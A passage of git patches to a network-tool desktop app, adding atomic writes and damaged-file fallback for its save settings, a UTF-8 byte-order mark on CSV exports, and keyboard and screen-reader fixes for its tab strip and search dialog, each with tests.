-1,4 +1,4 @@ -use std::path::PathBuf; +use std::path::{Path, PathBuf}; use std::time::{SystemTime, UNIX_EPOCH}; use serde::{Deserialize, Serialize}; @@ -93,21 +93,47 @@ pub(super) fn read_file_save_preferences() -> Result FileSavePreferences { + serde_json::from_str(text).unwrap_or_else(|error| { + // Only a debug build has anywhere to show this; the release app has no + // console. + eprintln!("netscli-gui: {file} could not be read, using the defaults: {error}"); + FileSavePreferences::default() + }) } fn write_file_save_preferences(prefs: &FileSavePreferences) -> Result<(), String> { let path = save_settings_path()?; let text = serde_json::to_string_pretty(prefs) .map_err(|e| format!("Failed to serialize save settings: {e}"))?; - std::fs::write(&path, text).map_err(|e| format!("Failed to write save settings: {e}")) + replace_file(&path, &text).map_err(|e| format!("Failed to write save settings: {e}")) +} + +/// Write beside the file and rename over it, so an interruption leaves the old +/// settings in place rather than a truncated file. +fn replace_file(path: &Path, text: &str) -> std::io::Result<()> { + let temp = path.with_extension("json.tmp"); + std::fs::write(&temp, text)?; + std::fs::rename(&temp, path).inspect_err(|_| { + let _ = std::fs::remove_file(&temp); + }) } pub(super) fn preferred_save_directory(directory: Option<&str>) -> Result, String> { @@ -146,3 +172,51 @@ pub(super) fn format_byte_limit(bytes: u64) -> String { format!("{bytes} bytes") } } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_damaged_settings_file_reads_as_the_defaults() { + // Truncated by a crash mid-write, empty, and the wrong shape. + for text in [ + "", + "{\"ask_each_time\": tr", + "not json", + "{\"ask_each_time\": \"yes\"}", + ] { + let prefs = parse_preferences(text, SAVE_SETTINGS_FILE); + assert!(!prefs.ask_each_time, "{text:?}"); + assert_eq!(prefs.default_directory, None, "{text:?}"); + } + } + + #[test] + fn a_good_settings_file_is_read_as_written() { + let prefs = parse_preferences( + r#"{"ask_each_time": true, "default_directory": "D:\\Scans"}"#, + SAVE_SETTINGS_FILE, + ); + assert!(prefs.ask_each_time); + assert_eq!(prefs.default_directory.as_deref(), Some("D:\\Scans")); + } + + #[test] + fn replacing_a_file_swaps_its_contents_and_leaves_no_temporary_behind() { + let dir = std::env::temp_dir().join(format!("netscli-prefs-test-{}", std::process::id())); + std::fs::create_dir_all(&dir).unwrap(); + let path = dir.join("gui-save-settings.json"); + + replace_file(&path, "old").unwrap(); + replace_file(&path, "new").unwrap(); + + assert_eq!(std::fs::read_to_string(&path).unwrap(), "new"); + let names: Vec<_> = std::fs::read_dir(&dir) + .unwrap() + .map(|entry| entry.unwrap().file_name()) + .collect(); + assert_eq!(names, ["gui-save-settings.json"]); + std::fs::remove_dir_all(&dir).unwrap(); + } +} From 9c4ff2adfabc6d586a943195aee4d7152d1b18b4 Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 19:08:24 +0100 Subject: [PATCH 16/33] Start CSV files saved by the desktop app with a UTF-8 byte-order mark The GUI wrote CSV as UTF-8 with no byte-order mark. Excel takes the encoding from that mark and, on Windows, reads a file without one in the legacy code page, so a device named with a typographic apostrophe came out as mojibake (the three UTF-8 bytes of the apostrophe read as three legacy characters). Only the two file exports get the mark. The command line's CSV is for pipes and keeps none, and JSON exports are untouched. This is the audit's recommendation and it is a trade-off: a script that reads these files as plain UTF-8 will see the mark at the start of the first header, and needs utf-8-sig or the equivalent. Not checked in Excel here. --- .../src/workspace/transfer.test.ts | 55 ++++++++++++++++++- apps/netscli-gui/src/workspace/transfer.ts | 13 ++++- 2 files changed, 64 insertions(+), 4 deletions(-) diff --git a/apps/netscli-gui/src/workspace/transfer.test.ts b/apps/netscli-gui/src/workspace/transfer.test.ts index 233ea3ea..59cd531b 100644 --- a/apps/netscli-gui/src/workspace/transfer.test.ts +++ b/apps/netscli-gui/src/workspace/transfer.test.ts @@ -1,6 +1,18 @@ -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; -import { parseResultBundle, RESULT_BUNDLE_SCHEMA } from './transfer'; +import type { ResultColumn, ResultRow, WorkspaceTab } from '../tools/types'; +import { createTab } from '../tools/registry'; +import { downloadText } from './toolExecution'; +import { + exportCurrentResult, + exportSelectedRows, + parseResultBundle, + RESULT_BUNDLE_SCHEMA, +} from './transfer'; + +vi.mock('./toolExecution', () => ({ + downloadText: vi.fn(() => Promise.resolve('saved')), +})); function bundle(overrides: Record = {}) { return { @@ -72,3 +84,42 @@ describe('parseResultBundle', () => { ); }); }); + +// Excel decides a file's encoding from a byte-order mark, and reads a UTF-8 +// CSV without one in the legacy code page, so a device named "Felix’s iPhone" +// came out as "Felix’s iPhone". Only files get the mark: the JSON exports +// are for programs, where a mark in front of the text is a parse error. +describe('CSV export', () => { + const BOM = String.fromCharCode(0xfeff); + const columns: ResultColumn[] = [{ key: 'name', label: 'Name' }]; + const rows: ResultRow[] = [ + { id: 'a', kind: 'mdns', data: { name: 'Felix’s iPhone' }, raw: {}, searchText: '' }, + ]; + const tab = { ...createTab('mdns'), result: { kind: 'mdns', data: [] } } as WorkspaceTab; + + async function savedContent(save: (done: () => void) => void): Promise { + vi.mocked(downloadText).mockClear(); + await new Promise((resolve) => save(resolve)); + return vi.mocked(downloadText).mock.calls[0][2]; + } + + it('starts a saved CSV with a UTF-8 byte-order mark', async () => { + const all = await savedContent((done) => + exportCurrentResult(tab, columns, rows, 'csv', done, done), + ); + expect(all).toBe(`${BOM}Name\nFelix’s iPhone`); + + const selected = await savedContent((done) => + exportSelectedRows(tab, columns, rows, 'csv', done, done), + ); + expect(selected).toBe(`${BOM}Name\nFelix’s iPhone`); + }); + + it('leaves JSON without one', async () => { + const json = await savedContent((done) => + exportCurrentResult(tab, columns, rows, 'json', done, done), + ); + expect(json.startsWith(BOM)).toBe(false); + expect(() => JSON.parse(json)).not.toThrow(); + }); +}); diff --git a/apps/netscli-gui/src/workspace/transfer.ts b/apps/netscli-gui/src/workspace/transfer.ts index 79e46b37..2e74d29c 100644 --- a/apps/netscli-gui/src/workspace/transfer.ts +++ b/apps/netscli-gui/src/workspace/transfer.ts @@ -6,6 +6,15 @@ import { downloadText } from './toolExecution'; export const RESULT_BUNDLE_SCHEMA = 'netscli.result.v1'; +/** + * Written first in a CSV file so Excel reads it as UTF-8. Excel takes the + * encoding from this mark, and on Windows a file without one is read in the + * legacy code page, so a name like "Felix’s iPhone" (the apostrophe is three + * bytes in UTF-8) turns into "Felix’s iPhone". Only what is saved to a file + * gets it. The command line's CSV is for pipes and has none. + */ +const CSV_BYTE_ORDER_MARK = '\uFEFF'; + export interface ResultBundle { schema: typeof RESULT_BUNDLE_SCHEMA; exportedAt: string; @@ -41,7 +50,7 @@ export function exportCurrentResult( exportText( `netscli-${activeTab.kind}-${stamp}.csv`, 'text/csv', - serializeRowsAsCsv(columns, rows), + CSV_BYTE_ORDER_MARK + serializeRowsAsCsv(columns, rows), 'Exported CSV', onSuccess, onError, @@ -122,7 +131,7 @@ export function exportSelectedRows( exportText( `netscli-${activeTab.kind}-selected-${stamp}.csv`, 'text/csv', - serializeRowsAsCsv(columns, selectedRows), + CSV_BYTE_ORDER_MARK + serializeRowsAsCsv(columns, selectedRows), fallback, onSuccess, onError, From 73b7ddfcf3be64fb478a889c365fd4d96fc21ee6 Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 19:12:58 +0100 Subject: [PATCH 17/33] Fix two keyboard and screen reader gaps in the tab strip and workspace search Tab close buttons sat in the tab order. A button is a tab stop by default, so each tab added a stop to a strip that is meant to have one. The tab's own children are presentational in ARIA, so a screen reader had nothing to offer there either. They are now tabindex -1, and Delete still closes the focused tab. The close buttons are still nested inside the tabs. Moving them out would change the markup the drag-to-reorder code and the styles rely on, and was not done. Workspace search keeps focus in its input while the arrow keys move through the results, so nothing told a screen reader which result was current. The input is now a combobox that controls the result list and names the current option with aria-activedescendant. Option ids are by position because an item's own id can hold spaces. --- .../components/shell/TabStrip.a11y.test.tsx | 11 ++++ .../src/components/shell/TabStrip.tsx | 1 + .../shell/WorkspaceSearchDialog.test.tsx | 59 +++++++++++++++++++ .../shell/WorkspaceSearchDialog.tsx | 21 ++++++- 4 files changed, 90 insertions(+), 2 deletions(-) create mode 100644 apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.test.tsx diff --git a/apps/netscli-gui/src/components/shell/TabStrip.a11y.test.tsx b/apps/netscli-gui/src/components/shell/TabStrip.a11y.test.tsx index a342c161..f8fe1db1 100644 --- a/apps/netscli-gui/src/components/shell/TabStrip.a11y.test.tsx +++ b/apps/netscli-gui/src/components/shell/TabStrip.a11y.test.tsx @@ -56,6 +56,17 @@ describe('tab strip keyboard access', () => { expect(tabIndexes).toEqual(['-1', '0', '-1']); }); + // The close buttons sit inside the tabs. A button is a tab stop by default, + // so each one added a stop of its own to a strip meant to be a single one, + // and an ARIA tab's children are presentational, so a screen reader had no + // button to offer there anyway. Delete closes the focused tab by keyboard. + it('keeps the close buttons out of the tab order', () => { + renderStrip(1); + const closeButtons = Array.from(document.querySelectorAll('button.tab-close')); + expect(closeButtons).toHaveLength(3); + expect(closeButtons.map((el) => el.getAttribute('tabindex'))).toEqual(['-1', '-1', '-1']); + }); + it('moves to the next tab on ArrowRight and wraps at the end', () => { const { tabs, onSelectTab } = renderStrip(2); const active = screen.getAllByRole('tab')[2]; diff --git a/apps/netscli-gui/src/components/shell/TabStrip.tsx b/apps/netscli-gui/src/components/shell/TabStrip.tsx index 70ab7c95..b9d0cc79 100644 --- a/apps/netscli-gui/src/components/shell/TabStrip.tsx +++ b/apps/netscli-gui/src/components/shell/TabStrip.tsx @@ -203,6 +203,7 @@ export function TabStrip({ aria-label={`Close ${identity.label} tab`} data-tooltip="Close Tab" data-tooltip-placement="bottom" + tabIndex={-1} onClick={(event) => { event.stopPropagation(); onCloseTab(tab.id); diff --git a/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.test.tsx b/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.test.tsx new file mode 100644 index 00000000..393d0d60 --- /dev/null +++ b/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.test.tsx @@ -0,0 +1,59 @@ +// @vitest-environment jsdom +// +// Focus stays in the search box while the arrow keys move through the results, +// so what a screen reader hears about the current result comes from +// `aria-activedescendant` alone. + +import { fireEvent, render, screen } from '@testing-library/react'; +import { beforeEach, describe, expect, it, vi } from 'vitest'; + +import { createTab } from '../../tools/registry'; +import { WorkspaceSearchDialog } from './WorkspaceSearchDialog'; + +beforeEach(() => { + // jsdom does not implement scrolling, which the dialog does to keep the + // current result in view. + Element.prototype.scrollIntoView = vi.fn(); +}); + +function renderSearch() { + const tabs = [createTab('scan'), createTab('ping'), createTab('dns')]; + render( + , + ); + return screen.getByTestId('workspace-search-input'); +} + +function currentOptionId(input: HTMLElement) { + const id = input.getAttribute('aria-activedescendant'); + expect(id, 'the search box names no current result').toBeTruthy(); + const option = document.getElementById(id ?? ''); + expect(option, `no element has the id ${id}`).not.toBeNull(); + expect(option?.getAttribute('aria-selected')).toBe('true'); + return id; +} + +describe('workspace search', () => { + it('points the search box at the current result', () => { + const input = renderSearch(); + const first = currentOptionId(input); + + fireEvent.keyDown(input, { key: 'ArrowDown' }); + const second = currentOptionId(input); + expect(second).not.toBe(first); + }); + + it('is a combobox that controls the result list', () => { + const input = renderSearch(); + expect(input.getAttribute('role')).toBe('combobox'); + const listbox = document.getElementById(input.getAttribute('aria-controls') ?? ''); + expect(listbox?.getAttribute('role')).toBe('listbox'); + }); +}); diff --git a/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.tsx b/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.tsx index 961f7678..a305a181 100644 --- a/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.tsx +++ b/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.tsx @@ -42,6 +42,12 @@ type SearchItem = entry: HistoryEntry; }; +const LISTBOX_ID = 'workspace-search-listbox'; + +/** By position rather than from the item's own id, which can hold spaces, and + * an id reference cannot. */ +const optionId = (index: number) => `workspace-search-option-${index}`; + export function WorkspaceSearchDialog({ history, tabs, @@ -56,7 +62,8 @@ export function WorkspaceSearchDialog({ const [activeIndex, setActiveIndex] = useState(0); const items = useMemo(() => searchItemsFor(tabs, history), [history, tabs]); const matches = useMemo(() => filterItems(items, query).slice(0, 40), [items, query]); - const activeItem = matches[Math.min(activeIndex, Math.max(0, matches.length - 1))]; + const activeOption = Math.min(activeIndex, Math.max(0, matches.length - 1)); + const activeItem = matches[activeOption]; useModalFocus({ dialogRef, onClose }); @@ -128,13 +135,22 @@ export function WorkspaceSearchDialog({ >
+ {/* Focus stays here while the arrow keys move through the results, so + a screen reader is told which result is current through + `aria-activedescendant`. Without it the highlighted row changed + and nothing was announced. */} 0} aria-label="Search workspace" autoCapitalize="off" autoCorrect="off" autoFocus data-testid="workspace-search-input" placeholder="Search tabs, results, and history" + role="combobox" spellCheck={false} value={query} onChange={(event) => { @@ -147,7 +163,7 @@ export function WorkspaceSearchDialog({
-
+
{matches.length === 0 ? ( No workspace matches. ) : ( @@ -155,6 +171,7 @@ export function WorkspaceSearchDialog({